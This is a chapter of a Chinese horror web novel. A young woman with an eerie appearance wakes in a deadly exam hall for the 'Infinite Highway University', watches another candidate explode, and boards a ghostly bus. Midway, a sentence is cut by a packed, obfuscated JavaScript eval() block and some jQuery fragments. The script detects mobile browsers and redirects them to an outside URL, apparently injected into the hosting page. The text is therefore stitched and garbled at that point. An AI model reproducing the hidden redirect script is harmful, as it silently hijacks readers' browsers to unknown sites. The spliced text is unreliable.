盛悦是被一阵广播声吵醒的,意识朦胧地掀开眼皮,发现自己似乎正坐在驾驶证科目二考试的候考厅里。
没有任何情感起伏的机械女音充斥在耳边,仿佛被糊上了一层厚厚的马赛克,听不清内容。
什么……她不是已经死了吗?
倏地完全睁开眼睛,不可置信地打量周围。
只见空旷的房间内,她独自坐在排椅区最后一排的位置上。
前面几排分布着数十个后脑勺,安安静静的,如同被粘在座位上的假人。
跃过人头的最前方,一只巨大的黑色电子屏幕几乎将整面墙壁占满,亮红色的表格与文字异常刺眼。
她定睛一看,那些文字的第一列分明是密密麻麻的姓名,而在表格的中下方,“盛悦”两个字就清晰地藏匿在其中———
姓名:盛悦|性别:女|车号:暂无|状态:等待考试。
表格的上方赫然写着一行加粗标题:
无限公路大学入学考试车辆分配表。
……
强烈的熟悉感与陌生感诡异地夹杂在一起,灰尘味混着消毒水味钻入鼻尖,直冲脑门。
房间后方的墙角,柜式空调呼呼运作着。过冷的风时不时吹打在后背上,盛悦只穿着短袖,浑身冰凉,可皮肤之下,血液却在沸腾。
……这是什么情况?
候考厅的两侧分别开着一扇玻璃门,门的上方粘贴着一面蓝底白字的牌子。
左侧的门开在前面,牌子内写着“考场入口”四个大字。右侧的门开在后面,牌子要小许多,并且只写了“出口”两个字。
盛悦只需偏过头,就可以看到出口玻璃外的情景———
一片漆黑,没有任何建筑,也没有一盏路灯。黑洞洞的,看不到地面,让人生出一种是否真的还在地球上的错觉,玻璃板上倒映出室内的画面。
“请考生们耐心等候,祝好运。”
随着最后一句话被念完,广播声戛然而止,充斥在耳边的机械女音瞬间消失,房间里一时间陷入诡异的寂静。
盛悦皱起眉。
没了?她刚准备认真听。
从依稀捕捉到的几个字眼来看,刚才的广播貌似是考试注意事项。
盛悦顿时生出一种考试即将开始,所有人都有复习资料,唯独自己没有的窘迫感。
爷的,她醒的可真是时候。
无限公路大学是什么?她为什么会参加这所大学的入学考试?她明明已经是一名大二学生了。
考试的内容是什么,会和驾驶有关吗?
就在一年前大一入学前的暑假,她一口气考完了一至四的科目考试,拿到了驾驶证,所以如果考试内容和驾驶有关,她觉得她应该可以应付。
可是,这场考试似乎不太正规,因为考试肯定会有监考人员,但这间房间里的人全都坐在排椅区内,明显都是候考的考生。
抛开考试不谈,原本她都已经释然地接受了死亡,现在为什么却好端端地坐在这里……
盛悦这时才想起来检查自己的状况,发现浑身和后脑勺的伤口全不见了,痛感正在飞速消散,仿佛这些伤从来没有存在过一样。
只有不知什么时候完全散开的头发,和白色短袖上沾到的血渍,能够证明她的遭遇。
盛悦动作间视线捕捉到了什么,左手忽然停住,将虎口翻出来,视线定格在其上。
……这又是什么?
她轻啧了一声,迫切需要知道这些问题的答案,心中随即生起问一问其他人的念头,不过这个念头紧接着就被打消掉了。
算了,没必要自找麻烦。
她宁愿什么都不知道,也不想问别人。
【请考生吴鑫、罗坤,立即前往站台搭乘13号公交车,前往考场。】
【请考生吴鑫、罗坤,立即前往站台搭乘13号公交车,前往考场。】
就在这时,广播声再次响起。
盛悦抬起头,刚好看见大屏幕内的文字发生了变动。上述两名考生的信息紧挨在一起,车号从“暂无”变成了“13”,状态从“准备考试”变成了“立即上车”。
而他们的下面一行,是盛悦的名字。
前排的候考生们终于有了动作,他们在排椅之间来回张望,有的面部僵硬发白,有的泪眼婆娑不停抽泣,自己明明害怕得不得了,但又忍不住好奇即将去考试的倒霉蛋是谁。
有人把头彻底转向后方。
盛悦就连失去广播时表情都没有什么波澜,但此刻,她的脸上却骤然浮现出几丝局促和狼狈。
她左看看右看看,下意识想要抱头蹲下,拿椅背挡住自己。
可不能让他们看到自己的脸。
有了血渍、发型和环境的加持,她现在得恐怖成什么样子?!
盛悦的长相和气质天生就有股浓烈的阴郁感。
具体怎么个阴郁法,用小学同学的话来讲,是被现在的父母捡回家的杀人魔的女儿,用邻居们的话来讲,是恶鬼投胎天煞孤星、命硬克夫克亲,用初中高中同学的话来讲……那在学校里流传的版本可就太多太多了,五花八门什么的都有。
反正无论在哪种环境里,所有人遇到盛悦,都会不自觉地害怕和远离,根本不给她展现自己善良逗比内心的机会。
盛悦觉得自己虽然算不上周围人口中的“怪物”,却也确实不是个正常人类。因此为了减少惊吓,她出门基本戴口罩和鸭舌帽,除了学习和兼职上必要的接触以外,她都自己一个人待着。
要是有口罩和鸭舌帽就好了。
盛悦在屁股离开椅子的前一刻停住。不行,这么做只会更惹眼,赶忙重新坐好,弯下腰,用双手捂住整张脸,胳膊肘撑在大腿上,控制着肩膀一抽一抽起来。
前排的人彻底转过来时,就见到最后一排上独自坐着一名再正常不过的女生。乌黑的长发如瀑布一般垂落在两边,肤色白皙到几乎与后方墙壁融为一体,女生身形异常单薄,此时正在掩面抽泣着。
突然陷入未知的境地,心理素质弱一点的人会害怕到哭泣,这是再合理不过的状态。
盛悦抽了好一会儿,肩膀都酸了,慢慢抬起脸,从指缝中露出一只漆黑的眼睛。
回头看的人都已经转回去了,因为他们已经找到了寻找的目标。
盛悦坐直上半身,恢复面无表情脸,同时,排椅区靠前的一排中,有人缓慢地站了起来,吸引着所有人的目光跟随他的方位移动。
这是个胖男生,长着一圈络腮胡,戴着一副圆眼镜,他不停抹着眼泪,慢吞吞地在排椅区中横向行走,由于体型较宽,走得还特别磨蹭,途径的考生都把上半身往椅背上靠,面露不满。
这应该就是吴鑫和罗坤其中之一了。
盛悦微微皱眉,搜寻无果,奇怪,另一人怎么还没站起来?
眼见着络腮胡胖男即将走出前门了,同班车的另一名考生迟迟未有动作,众人又开始好奇地张望,盛悦不得不多次表演哭泣,以躲过视线。
【请考生吴鑫,立即前往站台搭乘13号公交车,前往考场。】
良久,无人站起,仿佛根本没有这个人似的。
【请考生吴鑫,立即前往站台搭乘13号公交车,前往考场。】
还是没有人站起。
人群中响起低低的议论声。
“之前有没有人从出口离开过?反正我没看到。”
“没有吧,我也没看到。”
“会不会是大屏信息有误,输错名字了?”
机械女音依旧如先前那般没有任何语调起伏,可盛悦却莫名能品出几分下最后通牒的意味。
就在一部分人已经开始心生侥幸,认为没有作为就可以逃过一劫时。
“嘭!”
巨响在排椅之间爆炸开来,同时爆炸的,还有一名男生的身体。
猩红如同烟花一般高速四散,飞溅到天花板上,飞溅到排椅上,飞溅到考生们的身上脸上。
男生不见了,只剩下涂满屋子的鲜血。
………
铁锈味迅速弥漫,所有人却不受控制地大口呼吸起来。
紧接着,“啊啊啊啊啊啊啊啊!”
尖叫声震耳欲聋。
这下,他们终于知道吴鑫在哪里了。
吴鑫的死亡彻底摧毁了众人一切自欺欺人的幻想,他们惊恐至极,满目红色,说是此时身处在地狱里也不为过。
但是无论他们叫得多大声,愣是没有人站起来逃离。
没想到拖延考试会有如此严重的后果,盛悦捂住耳朵,不忍心再抬头看。
好吧,这场考试不仅不正规,而且还非常血腥变态!
她迅速调整好情绪,在脑海中整理出三条规则:
一、考生必须在三次广播内起身离开候考厅,前往考场,超时直接死亡。
二、考试可以随时从出口离开,放弃考试。
三、考生不可以在候考厅内随意走动,一旦离开座位,必须是去参加考试,或是从出口离开。
后两条规则应该都在广播中提及过,所以众人早已知晓,并且在遵守,而第一条隐藏规则,考生吴鑫用自己的性命为大家试了出来。
候考厅陷入前所未有的慌乱之中,就连播报声再次响起,电子屏幕再次出现文字变动,都没什么人在意。
【请考生盛悦,立即前往站台搭乘13号公交车,前往考场。】
【请考生盛悦,立即前往站台搭乘13号公交车,前往考场。】
盛悦唰地抬起头:好家伙,自己被补位了。
原先盛悦不会参加这个批次的考试,也不是和那名络腮胡胖男一起参加。
可是现在,意外发生,她的考试条件被改变了。
她讨厌改变,谁也不清楚一点小小的改变,能引发多大的蝴蝶效应。
但已经发生,再怎么抗拒也没有意义,盛悦看了一眼后门,随后站起身,有些鬼鬼祟祟地朝候考厅前端走去。
盛悦微侧过头,用乌黑的长发挡住自己,要是在现在的这种情况下让大家看到她的脸,那估计能再送走一批人。
不过好在大家都忙着尖叫和害怕,没有人把视线分过来,她得以顺利地走出前门。
其实,盛悦原本是想从出口离开的。
学校和考场作为人员密集又封闭的场所,最容易放大人心中的恶念了,再加上动不动会死人的高压,盛悦进去后,就是活靶子。
虽然离开的下场不见得比参加考试的要好,但其实盛悦也无所谓,最坏的情况无非是一个人在黑暗中悲惨地死去,这点她已经有了经验,没在怕的。
但在最终决定前,盛悦还是临时改变了选择。
无限公路……嗯……
听起来还挺有意思的,很像她经常听的那种无限流小说。
既然选择哪条路下场都不会好,那还不如去看看呢。
来都来了,不去怪可惜的。
这样想着,盛悦掀开门,顿时一股充满恶意的阴冷扑面而来,她发丝飞舞,表情没有任何变化,走到室外。
吵闹的人声随着门被关上彻底消失在耳畔,盛悦被一股巨大的黑暗和寂静包裹起来,仿佛掉入了真空。
但她却重重吐出了一口气,感受到了久违的轻松。
果然还是一个人待着舒服。
希望这个地方不会让她后悔刚才的选择。
她打量四周,夜色如墨水一般浓稠,月亮被厚厚的云层遮挡住。
一座褪色的站台矗立在路的中央,路灯悬挂在半空中,散发着昏黄微弱的光。站台的前面,是浓郁如屏障的白雾,能见度非常有限。
络腮胡胖男正站在站台上抹眼泪,呜呜的哭泣声传过来。
盛悦看到他,皱起眉头,见车还没来,刻意放慢脚步。
这时,远处兀地响起轮胎摩擦路面的声响。
盛悦移去视线,络腮胡胖男也抬头看过去,就见雾中有黑影浮现,数秒后,一辆老旧的公交车从浓雾中缓慢地驶出来。
车内没有开灯,黑洞洞的,驾驶座位上空空如也,方向盘全程自动左右的摇晃着,伴随着金属的吱嘎吱嘎声,宛如一辆通往地狱的末班车。
络腮胡胖男立即被吓得呜咽一声,后背砸在站台上,捂住嘴。
公交车越来越近,散发着一股腐朽的气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342961|199445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
息,车身凹凸不平,一面上用红色喷漆画着一个巨大的数字“13”。
一个丝滑的转弯后,最终停在了站台的前方。
前后门在一阵短促的喷气声中啪地打开,示意他们考生尽快上车。
……怎么有这么多人?
盛悦表情瞬间变得厌恶和抗拒,一只手摸上自己的脸。
虽然驾驶位上是空的,但后面的乘客区却坐着不少身影。
她还以为这次考试只有她和胖男生两个……
不过转念一想,是自己先入为主了,这些乘客也许并不是人呢,便立马觉得又可以接受了,加快步伐。
络腮胡胖男磨磨唧唧地从前门走上了车,盛悦赶过去,一只脚踏上台阶,听到公交车内传来一名男生的声音:
“别害怕,新人,我们也是考生,你可以随便找个位置……”
……啥?
你们也是考生?一车的考生?
盛悦愣住,脸夸的一下垮了下去,动作僵在原地。
怎么办,她已经后悔了。
上……还是不上……
短短的几秒如同过去了数个小时,她闭眼深吸一口气,最终做好了决定,继续往里走。
听到前门又传来动静,男生:“啊,来了,也欢迎你......”说话的同时转过身。
男生留着短寸头,穿着黑色背心,看起来痞里痞气的,他脸上带着友好的笑容,露出白牙,心情似乎特别好。
然而下一秒,他看到了一名双手捂脸的女生走了进来,由于看不见路,女生额头磕在了杆子上,身形一顿。
短寸男的笑容愣了一下,倏地更灿烂了:“同学,你怎么了?要不要紧?”他还以为盛悦是在哭。
盛悦对情绪很敏感,从他的语气中捕捉到了几分挑逗的意味,当即有点想吐。
……希望看到我的脸后,你也能这么和我说话。
短寸男见女生没有回应自己,更来劲了,把络腮胡胖男晾在了一边,靠近一步,开始上下打量她。
虽然穿着宽松休闲的白T和卫裤,但光看这一头乌顺的长发,这纤细白皙的手指,还有这衣服下隐隐若现的身形,他就知道,这肯定是一位纤瘦柔弱的美人!
短寸男嘴角疯狂上扬,咳嗽了一声,声音尽可能地放轻柔:“咳,那个,你肯定很怕吧,不要怕啊,我们都是人类。”
盛悦:……是吗,那太失望了。
“好的人类,可以让一下吗,你挡到我的路了。”
短寸男没有让开,而是从裤兜里掏出一包纸巾:“这个给你,别再哭了,哭多了眼睛会肿,哭肿就不好看了。”
盛悦:……你这个傻B。
她忍住揍他一拳的冲动:“我没有哭,你真的挡我的路了,还有,真心劝你一句,还是离我远一点比较好。”
短寸男以为女生是在欲拒还迎,又往前凑了一步,一只手抓上她的手腕:“来,我领你进去吧,我……”
盛悦:艹,不装了。
摆烂地放下自己的双手。
短寸男心里乐开了花,刚准备说一大段暖男发言用来感动女生,下一秒,没有任何防备地,他对上了一张苍白到令人发指的面庞。
从某种意义上来讲,这确实是个大美人,五官如同精心雕琢的汉白玉塑像一般,让人挪不开眼。但是,皮肤实在是太苍白了,没有一丝血色,神情也太过于漠然,有一种空洞残忍的美感。
乌黑的长发垂落在瘦削的脸边,发尾一直垂落到腰间,一黑一白两个极端的颜色叠加在一起,视觉冲击感极其强烈。
女生骨瘦如柴,穿着带血的白衣,眉头微蹙,嘴角朝下,两团浓郁的乌青上方,过大的眼瞳宛如黑洞,将一切美好甚至是魂魄都吞噬其中。
而这双眼瞳,此时正一眨不眨地盯着短寸男看。
短寸男一嘴的暖男发言被憋了回去,表情一阵抽搐,心脏猛地一抽,连带着全身都用力地打了一个哆嗦,炸膛般“鬼啊啊啊啊啊啊!”地大叫了起来。
盛悦被口气熏到,安详地闭上了眼睛。
拉倒了。
短寸男表情惊恐,一屁股跌坐在过道上,手脚并用地向后爬。
站在旁边的络腮胡胖男反应慢半拍,紧接着五官与胡子皱成一团,嘴巴大张。
啊———!
一串中气十足的海豚音拔地而起。
“卧槽!”就像是被针刺了一下耳膜,盛悦一个激灵,反被他吓了一跳,表情变得有些不可思议。
没想到你还有这种特殊技能……庆幸离开得早,看到有人爆炸那还得了。
两名男生整这么一出,公交车内的其余人原本面色疲惫地放空着,这时才把注意力投过来。
下一秒,尖叫声响彻整辆公交车,几欲将天花板掀翻。整辆车仿佛都在摇晃着,惨烈程度一点也不比候考厅里的弱。
盛悦平静地看着众人纷纷从座位上站起来,逃也似地往后面跑,垂下脸,不屑地嘀咕了一句:“切,麻烦……”
……进入大学后,她要把口罩和鸭舌帽都焊在脸上!
众人挤成一团瑟瑟发抖,短寸男也从过道上爬起来,和络腮胡胖男一起逃进人群中。
只有坐在后门后方第一排的两名女生,从始至终没什么太大的反应,只是捂住了耳朵。
其中一名肤色偏黑的女生靠窗坐着,戴着的一对民族风的银色圆盘流苏耳饰,在黑暗中闪着点点碎光,她翻了个白眼,大声道:“都别吵了,她是新来的考生,你们动动脑子,之前哪次是在考场外面遇到过鬼怪的?”
可是没人听她的,继续在那里尖叫。
不知是不是太吵了,盛悦的鼻子莫名有些发酸,耳旁响起一阵低低的耳鸣声,她懒得跟他们解释。
反正也不会听。
走到前排的一个单独位置上坐了下来,开始发呆。
……哎,她这操蛋的一生啊。
又是一声短促的喷气声响起。
前后门被暴力地关上,一阵轻微的推背感后,公交车开始前进。
发出着仿佛随时都会报废的吱嘎声响,载着一车的惊恐和混乱,驶入茫茫白雾中。